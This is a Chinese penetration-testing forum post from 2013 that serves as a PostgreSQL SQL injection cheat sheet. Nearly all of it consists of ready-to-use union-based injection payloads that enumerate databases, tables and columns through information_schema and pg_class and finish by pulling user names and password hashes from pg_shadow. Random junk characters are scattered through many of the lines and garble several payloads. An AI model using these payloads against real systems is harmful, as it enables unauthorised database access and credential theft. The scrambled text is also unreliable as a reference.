中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点8 C  V/ `; ]' E! D7 J

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
% p; F3 q% \% ]* ~( ^9 E连接符: %20 , + , /**/

内置函数:) b/ X6 U; O% W5 V* ~" k1 o
current_database() //当前数据库名
# J- f; \- P. Ksession_user //会话用户
4 ~' \0 i( q+ fcurrent_user //当前数据库用户
; ^0 Y, m6 ]0 V& Q# w6 |% `# q0 buser //当前用户1 d$ l+ e3 Q6 ?* }* a3 |# y, K
version() //数据库版本

Union注射:! L% w! w/ d  b  ^1 h
order by n–9 p: V# E. I, b
and 1=2 union select null,null,null–2 t8 ?: w; z' N, `! g& n- R0 K
and 1=2 union select ‘beach’,null,null–1 h" V1 l4 l3 _5 b! a
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
4 A, a0 r' a! M1 C. z2 Pgroup_concat(table_name)
  u- {- L/ S( F) Band 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
6 n- V& e  Y* B% H# oand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–% o# K5 o1 d! {, r- T. {
(老版本)
( O3 i3 _8 B- `1 f4 {pg_class.oid对应pg_attribute.attrelid
0 a1 e/ g, m8 g5 K! l" npg_class.relname表名
3 B0 ~, S+ I: wpg_attribute.attname字段名

select relname from pg_class获取表名9 m% P8 Z" M! O+ v
select oid from pg_class where 条件 获取参数
1 k2 O, J# D; G; K- V% j+ ]8 y$ bselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:: |) I  W& B4 e1 a, ~" ^  l
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
% x: Z  U" G  O6 Land 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–' b! m2 K  s( v3 l$ ~
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
. R' s( {+ `) a6 U) z======================================================================
0 h7 J) |: K! E5 N9 L; ~; j! Yand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
! \- \. i# M& e2 F/ hand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2